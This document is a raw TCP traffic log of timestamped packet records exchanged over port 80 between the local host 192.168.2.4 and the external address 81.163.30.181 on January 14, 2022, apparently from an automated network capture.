Jan 14, 2022 20:29:57.580223083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.580290079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.635258913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635318041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635358095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635399103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635426044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.635437965 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635454893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.635478973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635519981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635557890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635597944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635613918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.635637999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635675907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635704041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.635719061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635767937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.635857105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636296034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636339903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636344910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636379004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636415005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636415958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636455059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636488914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636492968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636533022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636568069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636574030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636612892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636648893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636652946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636692047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636725903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636729002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636768103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636802912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636806011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636845112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636878967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636884928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636923075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.636960030 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.636962891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637013912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637053967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637053967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637095928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637135983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637136936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637173891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637212992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637213945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637254953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637301922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637305975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637341976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637376070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637381077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637418985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637459040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637459040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637496948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637535095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637537956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637578964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637620926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637651920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637669086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637689114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637710094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637727976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637767076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637770891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637805939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637845993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637856960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637918949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637957096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.637962103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.637995958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638037920 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638037920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638077021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638115883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638120890 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638154984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638194084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638196945 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638233900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638273954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638283968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638314009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638370037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638387918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638410091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638448954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638452053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638488054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638525963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638535976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638566017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638605118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638612032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.638644934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.638696909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.671917915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.696899891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.696933985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.696954966 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.696974039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.696995020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697010994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697025061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697045088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697056055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697068930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697089911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697092056 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697110891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697110891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697133064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697154045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697165966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697175026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697196007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697197914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697216988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697238922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697242975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697259903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697278023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697279930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697303057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697315931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697323084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697345018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697357893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697365046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697386980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697416067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697419882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697437048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697453976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697453976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697470903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697489023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697493076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697506905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697524071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697526932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697540045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697556973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697566032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697575092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697590113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697592974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697611094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697628021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697642088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697643042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697658062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697665930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697674990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697694063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697701931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697710991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697729111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697746992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697748899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697763920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697782040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697783947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697798967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697805882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697817087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697834969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697839975 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.697865009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.697873116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699318886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699331999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699348927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699368000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699385881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699398994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699403048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699419975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699436903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699436903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699453115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699462891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699470043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699486971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699491024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699505091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699522972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699542046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699543953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699563026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699573040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699579954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699598074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699611902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699615002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699632883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699650049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699650049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699666977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699675083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699683905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699700117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699707985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699717999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699737072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.699744940 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.699790001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758255005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758316994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758356094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758395910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758434057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758450031 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758470058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758472919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758516073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758522987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758553982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758599997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758620977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758661032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758697987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758702993 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758738995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758779049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758781910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758819103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758860111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758861065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758898020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758938074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.758941889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.758977890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759016037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759021044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759057045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759098053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759099007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759138107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759177923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759181976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759215117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759254932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759255886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759294033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759331942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759337902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759373903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759413958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759417057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759453058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759494066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759494066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759532928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759572983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759577036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759612083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759649992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759653091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759689093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759727955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759738922 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759768009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759808064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759814024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759845018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759884119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759886026 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.759923935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759960890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.759967089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760001898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760042906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760056019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760083914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760124922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760135889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760163069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760204077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760215044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760242939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760282040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760292053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760322094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760361910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760368109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760401964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760442972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760446072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760483027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760521889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760561943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760562897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760598898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760612011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760637999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760677099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760684967 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760716915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760757923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760761976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760796070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760835886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760848045 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760876894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760915995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760926008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.760957003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.760996103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761008978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.761039019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761080980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761087894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.761120081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761159897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761168003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.761200905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761239052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.761249065 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820077896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820142031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820182085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820221901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820238113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820257902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.820260048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.820301056 CET	80	49882	81.163.30.181	192.168.2.4
